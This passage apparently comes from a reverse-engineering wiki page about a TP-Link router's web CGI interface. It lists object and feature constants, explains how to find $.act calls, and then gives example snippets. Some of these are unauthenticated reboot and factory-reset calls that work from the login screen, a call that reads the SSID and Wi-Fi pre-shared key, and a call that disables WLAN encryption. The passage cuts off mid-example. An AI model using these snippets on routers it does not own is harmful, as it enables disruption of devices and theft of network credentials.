var ACT_OP_PPTP_CONN = "ACT_PPTP_CONN";
var ACT_OP_PPTP_DISCONN = "ACT_PPTP_DISCONN";
var ACT_OP_WAN_TYPE_DETECT = "ACT_WAN_TYPE_DETECT";
var ACT_OP_BPA_CONN = "ACT_BPA_CONN";
var ACT_OP_BPA_DISCONN = "ACT_BPA_DISCONN";
var ACT_OP_IPPING = "ACT_OP_IPPING";
var ACT_OP_TRACERT = "ACT_OP_TRACERT";
var ERR_HTTP_ERR_CGI_INVALID_ANSI = 71017;

var IGD = "IGD"
var IGD_DEV_INFO = "IGD_DEV_INFO"
var SYSLOG_CFG = "SYSLOG_CFG"
var MANAGEMENT_SERVER = "MANAGEMENT_SERVER"
var ETH_SWITCH = "ETH_SWITCH"
var SYS_CFG = "SYS_CFG"
var NET_CFG = "NET_CFG"
var USER_CFG = "USER_CFG"
var CURRENT_USER = "CURRENT_USER"
var APP_CFG = "APP_CFG"
var HTTP_CFG = "HTTP_CFG"
var HTTPS_CERT_AUTH = "HTTPS_CERT_AUTH"
var PH_DDNS_CFG = "PH_DDNS_CFG"
var PH_RT_DATA = "PH_RT_DATA"
var DYN_DNS_CFG = "DYN_DNS_CFG"
var UPNP_CFG = "UPNP_CFG"
var UPNP_PORTMAPPING = "UPNP_PORTMAPPING"
var DIAG_TOOL = "DIAG_TOOL"
var CWMP_CFG = "CWMP_CFG"
var SNMP_CFG = "SNMP_CFG"
var NOIP_DNS_CFG = "NOIP_DNS_CFG"
var CMX_DNS_CFG = "CMX_DNS_CFG"
var ACL_CFG = "ACL_CFG"
var WAN_TYPE_DETECT = "WAN_TYPE_DETECT"
var DMZ_HOST_CFG = "DMZ_HOST_CFG"
var TIME = "TIME"
var HOUR = "HOUR"
var L3_FORWARDING = "L3_FORWARDING"
var L3_FORWARDING_ENTRY = "L3_FORWARDING_ENTRY"
var L3_IP6_FORWARDING = "L3_IP6_FORWARDING"
var L3_IP6_FORWARDING_ENTRY = "L3_IP6_FORWARDING_ENTRY"
var L2_BRIDGING = "L2_BRIDGING"
var L2_BRIDGING_ENTRY = "L2_BRIDGING_ENTRY"
var L2_BRIDGING_FILTER = "L2_BRIDGING_FILTER"
var L2_BRIDGING_INTF = "L2_BRIDGING_INTF"
var LAN_DEV = "LAN_DEV"
var LAN_HOST_CFG = "LAN_HOST_CFG"
var LAN_IP_INTF = "LAN_IP_INTF"
var LAN_DHCP_STATIC_ADDR = "LAN_DHCP_STATIC_ADDR"
var LAN_DHCP_COND_SRV_POOL = "LAN_DHCP_COND_SRV_POOL"
var LAN_DHCP_COND_SRV_POOL_OPT = "LAN_DHCP_COND_SRV_POOL_OPT"
var YANDEX_DNS_POOL = "YANDEX_DNS_POOL"
var LAN_IP6_HOST_CFG = "LAN_IP6_HOST_CFG"
var LAN_IP6_INTF = "LAN_IP6_INTF"
var LAN_ETH_INTF = "LAN_ETH_INTF"
var LAN_HOSTS = "LAN_HOSTS"
var LAN_HOST_ENTRY = "LAN_HOST_ENTRY"
var LAN_WLAN = "LAN_WLAN"
var LAN_WLAN_WPS = "LAN_WLAN_WPS"
var LAN_WLAN_MACTABLEENTRY = "LAN_WLAN_MACTABLEENTRY"
var LAN_WLAN_ASSOC_DEV = "LAN_WLAN_ASSOC_DEV"
var LAN_WLAN_BSSDESC_ENTRY = "LAN_WLAN_BSSDESC_ENTRY"
var LAN_WLAN_WEPKEY = "LAN_WLAN_WEPKEY"
var LAN_WLAN_WDSBRIDGE = "LAN_WLAN_WDSBRIDGE"
var LAN_WLAN_MULTISSID = "LAN_WLAN_MULTISSID"
var LAN_WLAN_MSSIDENTRY = "LAN_WLAN_MSSIDENTRY"
var LAN_WLAN_MSSIDWEPKEY = "LAN_WLAN_MSSIDWEPKEY"
var MSSID_MACTABLEENTRY = "MSSID_MACTABLEENTRY"
var LAN_WLAN_WLBRNAME = "LAN_WLAN_WLBRNAME"
var LAN_WLAN_TASK_SCHEDULE = "LAN_WLAN_TASK_SCHEDULE"
var LAN_WLAN_QUICKSAVE = "LAN_WLAN_QUICKSAVE"
var LAN_WLAN_GUESTNET = "LAN_WLAN_GUESTNET"
var LAN_IGMP_SNOOP = "LAN_IGMP_SNOOP"
var WAN_DEV = "WAN_DEV"
var WAN_COMMON_INTF_CFG = "WAN_COMMON_INTF_CFG"
var WAN_DSL_INTF_CFG = "WAN_DSL_INTF_CFG"
var WAN_DSL_INTF_STATS = "WAN_DSL_INTF_STATS"
var WAN_DSL_INTF_STATS_TOTAL = "WAN_DSL_INTF_STATS_TOTAL"
var WAN_DSL_AUTOPVC = "WAN_DSL_AUTOPVC"
var WAN_DSL_AUTO_PVC_PAIR = "WAN_DSL_AUTO_PVC_PAIR"
var WAN_ETH_INTF = "WAN_ETH_INTF"
var WAN_ETH_INTF_STATS = "WAN_ETH_INTF_STATS"
var WAN_PON = "WAN_PON"
var WAN_EPON_INTF = "WAN_EPON_INTF"
var WAN_EPON_INTF_OAM_STATS = "WAN_EPON_INTF_OAM_STATS"
var WAN_EPON_INTF_MPCP_STATS = "WAN_EPON_INTF_MPCP_STATS"
var WAN_EPON_INTF_STATS = "WAN_EPON_INTF_STATS"
var WAN_EPON_INTF_OPTICAL_STATS = "WAN_EPON_INTF_OPTICAL_STATS"
var WAN_GPON_INTF = "WAN_GPON_INTF"
var WAN_GPON_INTF_OMCI_STATS = "WAN_GPON_INTF_OMCI_STATS"
var WAN_GPON_INTF_STATS = "WAN_GPON_INTF_STATS"
var WAN_GPON_INTF_OPTICAL_STATS = "WAN_GPON_INTF_OPTICAL_STATS"
var WAN_CONN_DEVICE = "WAN_CONN_DEVICE"
var WAN_DSL_LINK_CFG = "WAN_DSL_LINK_CFG"
var WAN_PON_LINK_CFG = "WAN_PON_LINK_CFG"
var WAN_ETH_LINK_CFG = "WAN_ETH_LINK_CFG"
var WAN_USB_3G_LINK_CFG = "WAN_USB_3G_LINK_CFG"
var USB_MODEM_PARAM = "USB_MODEM_PARAM"
var WAN_L2TP_CONN = "WAN_L2TP_CONN"
var WAN_L2TP_CONN_PORTMAPPING = "WAN_L2TP_CONN_PORTMAPPING"
var L2TP_CONN_PORTTRIGGERING = "L2TP_CONN_PORTTRIGGERING"
var WAN_L2TP_CONN_STATS = "WAN_L2TP_CONN_STATS"
var WAN_PPTP_CONN = "WAN_PPTP_CONN"
var WAN_PPTP_CONN_PORTMAPPING = "WAN_PPTP_CONN_PORTMAPPING"
var PPTP_CONN_PORTTRIGGERING = "PPTP_CONN_PORTTRIGGERING"
var WAN_PPTP_CONN_STATS = "WAN_PPTP_CONN_STATS"
var WAN_IP_CONN = "WAN_IP_CONN"
var WAN_IP_CONN_PORTMAPPING = "WAN_IP_CONN_PORTMAPPING"
var IP_CONN_PORTTRIGGERING = "IP_CONN_PORTTRIGGERING"
var WAN_PPP_CONN = "WAN_PPP_CONN"
var WAN_PPP_CONN_PORTMAPPING = "WAN_PPP_CONN_PORTMAPPING"
var PPP_CONN_PORTTRIGGERING = "PPP_CONN_PORTTRIGGERING"
var WAN_PPP_CONN_STATS = "WAN_PPP_CONN_STATS"
var STAT_CFG = "STAT_CFG"
var STAT_ENTRY = "STAT_ENTRY"
var DDOS_CFG = "DDOS_CFG"
var DOS_HOST = "DOS_HOST"
var ARP = "ARP"
var ARP_ENTRY = "ARP_ENTRY"
var ARP_BIND = "ARP_BIND"
var ARP_BIND_ENTRY = "ARP_BIND_ENTRY"
var QUEUE_MANAGEMENT = "QUEUE_MANAGEMENT"
var CLASSIFICATION = "CLASSIFICATION"
var QOS_APP = "QOS_APP"
var QOS_INTF = "QOS_INTF"
var QOS_QUEUE = "QOS_QUEUE"
var TC = "TC"
var TC_RULE = "TC_RULE"
var ALG_CFG = "ALG_CFG"
var IPTV = "IPTV"
var DSL_IPTV_CFG = "DSL_IPTV_CFG"
var ETH_IPTV_CFG = "ETH_IPTV_CFG"
var FIREWALL = "FIREWALL"
var INTERNAL_HOST = "INTERNAL_HOST"
var EXTERNAL_HOST = "EXTERNAL_HOST"
var TASK_SCHEDULE = "TASK_SCHEDULE"
var RULE = "RULE"
var URL_LIST = "URL_LIST"
var URL_CFG = "URL_CFG"
var IP6_FIREWALL = "IP6_FIREWALL"
var IP6_INTERNAL_HOST = "IP6_INTERNAL_HOST"
var IP6_EXTERNAL_HOST = "IP6_EXTERNAL_HOST"
var IP6_TASK_SCHEDULE = "IP6_TASK_SCHEDULE"
var IP6_RULE = "IP6_RULE"
var IP6_TUNNEL = "IP6_TUNNEL"
var DSLITE = "DSLITE"
var SIT_6RD = "SIT_6RD"
var SERVICES = "SERVICES"
var VOICE = "VOICE"
var XTP_VOICE_PROCESS_STS = "XTP_VOICE_PROCESS_STS"
var XTP_VOICE_PROCESS = "XTP_VOICE_PROCESS"
var VOICE_CAP = "VOICE_CAP"
var VOICE_CAP_SIP = "VOICE_CAP_SIP"
var VOICE_CAP_MGCP = "VOICE_CAP_MGCP"
var VOICE_CAP_CODECS = "VOICE_CAP_CODECS"
var VOICE_PROF = "VOICE_PROF"
var VOICE_PROF_PROVIDER = "VOICE_PROF_PROVIDER"
var VOICE_PROF_SIP = "VOICE_PROF_SIP"
var VOICE_PROF_SIP_EVTSUBSCRIBE = "VOICE_PROF_SIP_EVTSUBSCRIBE"
var VOICE_PROF_MGCP = "VOICE_PROF_MGCP"
var VOICE_PROF_RTP = "VOICE_PROF_RTP"
var VOICE_PROF_FAXT38 = "VOICE_PROF_FAXT38"
var XTP_USB_VOICEMAIL_PUBLICCFG = "XTP_USB_VOICEMAIL_PUBLICCFG"
var XTP_MULTI_ISP = "XTP_MULTI_ISP"
var XTP_MULTIISP_CODEC = "XTP_MULTIISP_CODEC"
var XTP_MULTIISP_CODEC_LIST = "XTP_MULTIISP_CODEC_LIST"
var VOICE_PROF_LINE = "VOICE_PROF_LINE"
var VOICE_PROF_LINE_SIP = "VOICE_PROF_LINE_SIP"
var VOICE_PROF_LINE_XTPUSBVM = "VOICE_PROF_LINE_XTPUSBVM"
var VOICE_PROF_LINE_CALLFEAT = "VOICE_PROF_LINE_CALLFEAT"
var VOICE_PROF_LINE_PROC = "VOICE_PROF_LINE_PROC"
var VOICE_PROF_LINE_CODEC = "VOICE_PROF_LINE_CODEC"
var VOICE_PROF_LINE_CODEC_LIST = "VOICE_PROF_LINE_CODEC_LIST"
var VOICE_PROF_LINE_STATS = "VOICE_PROF_LINE_STATS"
var XTP_FEATURE_CODE = "XTP_FEATURE_CODE"
var VOICE_PHY_INTERFACE = "VOICE_PHY_INTERFACE"
var VOICE_PHYINTERFACE_TESTS = "VOICE_PHYINTERFACE_TESTS"
var XTP_VOICE_MULTI_ISPDIALPLAN = "XTP_VOICE_MULTI_ISPDIALPLAN"
var XTP_VOICE_PSTN = "XTP_VOICE_PSTN"
var STORAGE_SERVICE = "STORAGE_SERVICE"
var CAPABLE = "CAPABLE"
var USER_ACCOUNT = "USER_ACCOUNT"
var USB_DEVICE = "USB_DEVICE"
var LOGICAL_VOLUME = "LOGICAL_VOLUME"
var FOLDER_BROWSE = "FOLDER_BROWSE"
var FOLDER_NODE = "FOLDER_NODE"
var DLNA_MEDIA_SERVER = "DLNA_MEDIA_SERVER"
var DLNA_MEDIA_SERVER_FOLDER = "DLNA_MEDIA_SERVER_FOLDER"
var SMB_SERVICE = "SMB_SERVICE"
var SMB_SERVICE_FOLDER = "SMB_SERVICE_FOLDER"
var SMB_USER_ACCESS = "SMB_USER_ACCESS"
var FTP_SERVER = "FTP_SERVER"
var FTP_SERVER_FOLDER = "FTP_SERVER_FOLDER"
var FTP_USER_ACCESS = "FTP_USER_ACCESS"
var XTP_PRINT_SERVICE = "XTP_PRINT_SERVICE"
var XTP_IGD_CALL_FIREWALL_CFG = "XTP_IGD_CALL_FIREWALL_CFG"
var XTP_IGD_SPEED_DIAL_CFG = "XTP_IGD_SPEED_DIAL_CFG"
var XTP_IGD_MULTI_ISP_DIAL_PLAN = "XTP_IGD_MULTI_ISP_DIAL_PLAN"
var XTP_IGD_MULTIISPDP_LIST = "XTP_IGD_MULTIISPDP_LIST"
var XTP_CALLLOGCFG = "XTP_CALLLOGCFG"
var IPSEC = "IPSEC"
var IPSEC_CFG = "IPSEC_CFG"
var SYS_MODE = "SYS_MODE"
var EWAN = "EWAN"
var USER_INFO = "USER_INFO"
var GPON_USER_INFO = "GPON_USER_INFO"
var GPON_AUTH_CTC = "GPON_AUTH_CTC"
var GPON_AUTH_SN = "GPON_AUTH_SN"
var GPON_AUTH_PWD = "GPON_AUTH_PWD"
var GPON_MAC_INFO = "GPON_MAC_INFO"
var GPON_FWD_RULE = "GPON_FWD_RULE"
var GPON_LOCAL_RULE_ENTRY = "GPON_LOCAL_RULE_ENTRY"
var GPON_REMOTE_RULE_ENTRY = "GPON_REMOTE_RULE_ENTRY"
var GPON_OMCI_IOT = "GPON_OMCI_IOT"
var GPON_OMCI_IOT_ENTRY = "GPON_OMCI_IOT_ENTRY"
var GPON_OMCI_ME_ATTR = "GPON_OMCI_ME_ATTR"
var CLOUD_SERVICE = "CLOUD_SERVICE"
var FW_UPGRADE_INFO = "FW_UPGRADE_INFO"
var CLOUD_USER_ACCOUNT = "CLOUD_USER_ACCOUNT"
var OWNER_INFO = "OWNER_INFO"
var CURRENT_USER_INFO = "CURRENT_USER_INFO"
var CLOUD_DDNS = "CLOUD_DDNS"
var CLOUD_DDNS_ENTRY = "CLOUD_DDNS_ENTRY"
var WAN_BLOCK = "WAN_BLOCK"
var WAN_ERROR_BLOCK = "WAN_ERROR_BLOCK"
var FW_UP_INFO_BLOCK = "FW_UP_INFO_BLOCK"
var IPPING_DIAG = "IPPING_DIAG"
var TRACEROUTE_DIAG = "TRACEROUTE_DIAG"
var SDMZ_CFG = "SDMZ_CFG"
var WEB_CFG = "WEB_CFG"
var VLAN = "VLAN"
var ISP_SERVICE = "ISP_SERVICE"
var WOL = "WOL"
var WOL_ITEM = "WOL_ITEM"
var IPV6_CFG = "IPV6_CFG"
var SYS_STATE = "SYS_STATE"
var IPV6_PASS_THROUGH = "IPV6_PASS_THROUGH"
var AUTO_REBOOT_CFG = "AUTO_REBOOT_CFG"
var CPU_MEM = "CPU_MEM"
var PRODUCE_INFO = "PRODUCE_INFO"
var MULTIMODE = "MULTIMODE"
var MULTIMODE_AP = "MULTIMODE_AP"
var AP_CONFIG_WEPKEY = "AP_CONFIG_WEPKEY"
var AP_SNMP_CFG = "AP_SNMP_CFG"
var MULTIMODE_CLIENT = "MULTIMODE_CLIENT"
var MULTIMODE_RE = "MULTIMODE_RE"
var RE_CONFIG_WEPKEY = "RE_CONFIG_WEPKEY"
var MULTIMODE_ROUTER = "MULTIMODE_ROUTER"
var ROUTER_CONFIG_WEPKEY = "ROUTER_CONFIG_WEPKEY"
var ROUTER_CONFIG_MULTISSID = "ROUTER_CONFIG_MULTISSID"
var ROUTER_CONFIG_MSSIDENTRY = "ROUTER_CONFIG_MSSIDENTRY"
var MULTIMODE_MSSID = "MULTIMODE_MSSID"
var MSSID_CONFIG_MULTISSID = "MSSID_CONFIG_MULTISSID"
var MSSID_CONFIG_MSSIDENTRY = "MSSID_CONFIG_MSSIDENTRY"
var MULTIMODE_HOTSPOT = "MULTIMODE_HOTSPOT"
var PING_WATCH_DOG = "PING_WATCH_DOG"
var LED_CONTROL = "LED_CONTROL"
var NEW_SDMZ_CFG = "NEW_SDMZ_CFG"

var INCLUDE_MULTI_LANGUAGE_Q=0
var INCLUDE_LOGIN_GDPR_ENCRYPT=1
var INCLUDE_WAN_LAN_STATUS=1
var INCLUDE_MULTIMODE_MODEM=0
var INCLUDE_MULTIMODE_RE=1
var WEB_INCLUDE_TEST=0
var WEB_INCLUDE_MULTI_EWAN=0
var WEB_INCLUDE_DST=1
var WEB_QS_CHANGEPASSWORD=1
var INCLUDE_IP6_WAN_NOT_ASSIGN_ADDR=0
var INCLUDE_UN_IPTV=0
var INCLUDE_SCHEDULE_NEW=0
var INCLUDE_HW_NAT=0
var INCLUDE_LED_CONTROL=0
var INCLUDE_MULTILANGUAGE=0
var INCLUDE_FEEDBACK=0
var INCLUDE_WOL=0
var INCLUDE_MULTILOCALCOEX=0
var INCLUDE_WEBUI_SUPPORT=1
var INCLUDE_FORCE_TIMEZONE_SELECT=0
var INCLUDE_FORCE_REGION_SELECT=0
var INCLUDE_WLAN_REGION_LIST=0
var INCLUDE_MULTIPLE_LOCALIZATION=0
var INCLUDE_SCAN_ALL_CHANNELS=0
var INCLUDE_WDS_DUALBAND_DYNSWITCH=0
var INCLUDE_LOCK_TO_AP=1

var INCLUDE_LAN_WLAN=1
var INCLUDE_VOIP
var INCLUDE_FXS_NUM
var INCLUDE_CALLLOG
var INCLUDE_USB_VOICEMAIL
var INCLUDE_PSTN
var INCLUDE_PSTN_GATEWAY
var INCLUDE_PSTN_LIFELINE
var INCLUDE_BRIDGING=1
var INCLUDE_IGMP=1
var INCLUDE_ETHERNET_WAN=1
var INCLUDE_WAN_LAN_STATUS=1
var INCLUDE_SNMP=1
var INCLUDE_RIP
var INCLUDE_DDNS_PH
var INCLUDE_LAN_WLAN_MSSID=1
var INCLUDE_LAN_WLAN_WDS=1
var INCLUDE_IPTV
var INCLUDE_CWMP
var INCLUDE_DYNDNS=1
var INCLUDE_USB
var INCLUDE_USB_STORAGE
var INCLUDE_USB_MEDIA_SERVER
var INCLUDE_USB_SAMBA_SERVER
var INCLUDE_USB_FTP_SERVER
var INCLUDE_USB_OVER_IP
var INCLUDE_ADSLWAN
var INCLUDE_AUTO_PVC
var INCLUDE_IPV6=1
var INCLUDE_IPV6_SLAAC=1
var INCLUDE_IPV6_AUTO=1
var INCLUDE_SPECIAL_DIAL_MODE
var INCLUDE_WAN_MODE=1
var INCLUDE_IPSEC
var INCLUDE_NOIPDNS=1
var INCLUDE_ALG_H323=1
var INCLUDE_ALG_SIP=1
var INCLUDE_PON_ETH_WAN
var INCLUDE_EPON_INFO
var INCLUDE_GPON_INFO
var INCLUDE_QOS
var INCLUDE_E8_APP
var INCLUDE_TFC_PERU
var INCLUDE_USB_3G_DONGLE
var INCLUDE_LAN_WLAN_SCHEDULE=1
var INCLUDE_ROUTE_BINDING
var INCLUDE_LAN_WLAN_GUESTNETWORK=1
var INCLUDE_LAN_WLAN_DUALBAND
var INCLUDE_LAN_WLAN_HWSWITCH
var INCLUDE_LAN_WLAN_AC=1
var INCLUDE_LAN_WLAN_WDS_DETECT
var INCLUDE_L2TP=1
var INCLUDE_PPTP=1
var INCLUDE_IPV6_MLD=1
var INCLUDE_ACL
var INCLUDE_ACL_ADVANCE
var INCLUDE_DUAL_ACCESS=1
var INCLUDE_WAN_TYPE_DETECT=1
var INCLUDE_BPA=1
var INCLUDE_CMXDNS=1
var INCLUDE_IPPING_DIAG=1
var INCLUDE_TRACEROUTE_DIAG=1
var INCLUDE_LAN_WLAN_QUICKSAVE
var INCLUDE_IGMP_FORCEVERSION=1
var INCLUDE_PORTABLE_APP=1
var DEFAULT_NO_SPEC=1
var INCLUDE_MEXICO_SPEC
var INCLUDE_CANADA_SPEC
var INCLUDE_JAPAN_SPEC
var INCLUDE_KOREA_SPEC
var INCLUDE_PL_SPEC
var INCLUDE_BR_SPEC
var INCLUDE_ROMANIA_SPEC
var INCLUDE_RUSSIA_SPEC
var INCLUDE_US_SPEC
var INCLUDE_VN_SPEC
var INCLUDE_VIETNAM_FPT
var INCLUDE_TW_SPEC
var INCLUDE_ES_SPEC
var INCLUDE_X_TP_VLAN=1
var INCLUDE_FORBID_WAN_PING=1
var INCLUDE_SMART_DHCP=1
var INCLUDE_MIC=1
var INCLUDE_IPV6_PASS_THROUGH
var INCLUDE_AUTOREBOOT=1
var INCLUDE_CPUMEM_INFO
var INCLUDE_MULTIMODE_RE=1
var INCLUDE_MULTIMODE_AP=1
var INCLUDE_MULTIMODE_CLIENT=1
var INCLUDE_MULTIMODE=1
var INCLUDE_PING_WATCHDOG=1
var INCLUDE_MULTIMODE_ROUTER=1
var INCLUDE_MULTIMODE_MSSID
var INCLUDE_YANDEX_DNS
var INCLUDE_LED_CONTROL
var INCLUDE_MULTILANGUAGE
var INCLUDE_FORCE_TIMEZONE_SELECT
var INCLUDE_FORCE_REGION_SELECT
var INCLUDE_MULTIMODE_HOTSPOT=1
var INCLUDE_WLAN_REGION_LIST
var INCLUDE_FBWIFI
var INCLUDE_CLOUD
var INCLUDE_WANIP_BINDING
var INCLUDE_HTTPS_SSL=1
var INCLUDE_LAN_AP_GATEWAY=1
var INCLUDE_US_FOR_KR_SPEC
var INCLUDE_WOL
var INCLUDE_NEW_SDMZ
var INCLUDE_DMZ
var INCLUDE_SDMZ</syntaxhighlight>

</div>
</div>

</div>
</div>
</div>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: While debugging CGI calls, the server returns an error numeric code. A successfull request returns <code>$.ret=0</code>. Other <code>ret</code> code's meaning can be easily resolved using the <code>err.js</code>.</div>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: The JS files mentioned up to this point (<code>lib.js</code>, <code>oid_str.js</code>, <code>err.js</code>) are all accessible without any authorisation in the werservers <code>/js</code> directory and define the basic functionality of the web interface.</div>

<div style="text-align: justify;">The easiest to get starting, is by learning from examples, and there are tons of them. Most of them can be found by analysing commands that are integraded within the webpage. If the <code>/web</code> directory has already been aquired and locally available, a simple command (<code>grep -rnw './web' -e '$.act'</code>), will reveal almost 2000 examples, spread over all documents. The other option is to use the browser's developer options. Choose element selection option (macOS: ⇧+⌘+C) an click any button. All forms on the webpage have <code>onclick="functionName()"</code> events present. Then type <code>functionName</code> without brackets into the browser console and press enter. Double click on the result. This brings you straight to the file containing the function in question. I only explain this, because the page uses multiple iframes, which makes manual search a bit harder. In the following a very simple example function, which has been used as my entry point and also used in the following [[#Examples|Examples]] Section.</div>

<syntaxhighlight lang="JavaScript">function doRestart()
{
if(confirm(c_str.creboot))
{
$.guage(["<span class='T T_rebooting'>"+s_str.rebooting+"</span>", "<span class='T T_wait_reboot'>"+s_str.wait_reboot+"</span>",], 100, $.guageInterval, function(){window.parent.$.refresh();});
$.act(ACT_OP, ACT_OP_REBOOT);
$.exe(true);
}
}</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: On the older firmware, ALL information are transmitted creartext and unencrypted over the network. The newer firmware encrypts the payload, but still uses unencrypted http connection.</div>

<h4>Examples</h4>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Unauthorized Reboot that works from the login screen</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">// Firmware: 170828
$.act(ACT_OP, ACT_OP_REBOOT); $.exe();</syntaxhighlight>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Unauthorized Factory Reset that works from the login screen</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">// Firmware 170828
$.act(ACT_OP, ACT_OP_FACTORY_RESET); $.act(ACT_OP, ACT_OP_REBOOT); $.exe();</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: A factory reset, also needs a reboot to become active.</div>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Get all LAN_WLAN object attributes</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">// Firmware: 170828
$.act(ACT_GL, LAN_WLAN); $.exe();</syntaxhighlight>

<div class="toccolours mw-collapsible" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Example LAN_WLAN object attributes</div>
<div class="mw-collapsible-content">
<syntaxhighlight lang="JavaScript">[1,1,0,0,0,0]0
__syncApStatus=0
__apLastStatus=3
__hwWifiStatus=0
enable=1
status=Up
name=wlan0
BSSID=74:DA:88:FC:C3:AE
channel=3
autoChannelEnable=1
X_TP_PreSSID=TP-Link
SSID=TP-Link_C3AE
beaconType=11i
MACAddressControlEnabled=0
X_TP_MACAddressControlRule=deny
X_TP_MACTableSize=0
X_TP_Configuration_Modified=0
X_TP_Band=2.4GHz
X_TP_Bandwidth=Auto
standard=n
WEPKeyIndex=1
WEPEncryptionLevel=Disabled,40-bits,104-bits
basicEncryptionModes=None
basicAuthenticationMode=None
WPAEncryptionModes=TKIPandAESEncryption
WPAAuthenticationMode=PSKAuthentication
IEEE11iEncryptionModes=AESEncryption
IEEE11iAuthenticationMode=PSKAuthentication
X_TP_PreSharedKey=09960466
X_TP_GroupKeyUpdateInterval=0
possibleChannels=
basicDataTransmitRates=2,11,6,18,24,48,54,60,90,120,150,90,120,240,450,60,120,240,480,
operationalDataTransmitRates=
possibleDataTransmitRates=5.5,11,12,24,36,135,150,30,60,240,270,300,45,450,60,120,240,480,
SSIDAdvertisementEnabled=1
transmitPowerSupported=100,50,20
transmitPower=100
regulatoryDomain=DE
deviceOperationMode=InfrastructureAccessPoint
X_TP_RadiusServerIP=
X_TP_RadiusServerPort=1812
X_TP_RadiusServerPassword=
WMMEnable=1
X_TP_BeaconInterval=100
X_TP_RTSThreshold=2346
X_TP_FragmentThreshold=2346
X_TP_DTIMFrequency=1
X_TP_IsolateClients=0
X_TP_ShortGIEnable=1
totalAssociations=64
maxStaNum=32
X_TP_ShowRegionSelectionOnWeb=0
[1,2,0,0,0,0]0
__syncApStatus=0
__apLastStatus=3
__hwWifiStatus=0
enable=0
status=Disabled
name=wlan5
BSSID=74:DA:88:FC:C3:AD
channel=40
autoChannelEnable=1
X_TP_PreSSID=TP-Link
SSID=TP-Link_C3AE_5G
beaconType=11i
MACAddressControlEnabled=0
X_TP_MACAddressControlRule=deny
X_TP_MACTableSize=0
X_TP_Configuration_Modified=0
X_TP_Band=5GHz
X_TP_Bandwidth=Auto
standard=ac
WEPKeyIndex=1
WEPEncryptionLevel=Disabled,40-bits,104-bits
basicEncryptionModes=None
basicAuthenticationMode=None
WPAEncryptionModes=TKIPandAESEncryption
WPAAuthenticationMode=PSKAuthentication
IEEE11iEncryptionModes=AESEncryption
IEEE11iAuthenticationMode=PSKAuthentication
X_TP_PreSharedKey=09960466
X_TP_GroupKeyUpdateInterval=0
possibleChannels=
basicDataTransmitRates=
operationalDataTransmitRates=
possibleDataTransmitRates=
SSIDAdvertisementEnabled=1
transmitPowerSupported=100,50,20
transmitPower=100
regulatoryDomain=DE
deviceOperationMode=InfrastructureAccessPoint
X_TP_RadiusServerIP=
X_TP_RadiusServerPort=1812
X_TP_RadiusServerPassword=
WMMEnable=1
X_TP_BeaconInterval=100
X_TP_RTSThreshold=2346
X_TP_FragmentThreshold=2346
X_TP_DTIMFrequency=1
X_TP_IsolateClients=0
X_TP_ShortGIEnable=1
totalAssociations=64
maxStaNum=32
X_TP_ShowRegionSelectionOnWeb=0
[error]0</syntaxhighlight>
</div>
</div>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Get SSID and PSK</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">// Firmware: 170828
$.act(ACT_GL,LAN_WLAN,null,null,["SSID", "X_TP_PreSharedKey"]); $.exe();

// Example Response
[1,1,0,0,0,0]0
SSID=TP-Link_00FC
X_TP_PreSharedKey=37490720
[1,2,0,0,0,0]0
SSID=TP-Link_00FC_5G
X_TP_PreSharedKey=37490720
[error]0</syntaxhighlight>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Disable WLAN security</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">// Firmware: 170828
var wlanList=$.act(ACT_GL,LAN_WLAN,null,null,["name", "SSID", "Enable", "X_TP_Configuration_Modified", "beaconType", "Standard", "WEPEncryptionLevel", "WEPKeyIndex", "BasicEncryptionModes", "BasicAuthenticationMode", "WPAEncryptionModes", "WPAAuthenticationMode", "IEEE11iEncryptionModes", "IEEE11iAuthenticationMode", "X_TP_PreSharedKey", "X_TP_GroupKeyUpdateInterval", "X_TP_RadiusServerIP", "X_TP_RadiusServerPort", "X_TP_RadiusServerPassword"]);
$.exe();
wlanObj=wlanList[0];
$.act(ACT_SET,LAN_WLAN,wlanObj.__stack,null,["BeaconType=Basic", "BasicEncryptionModes=None", "BasicAuthenticationMode=None"]); $.exe();</syntaxhighlight>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Change both WLAN radio passwords</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">// Firmware: 170828
let password = "1234567890";
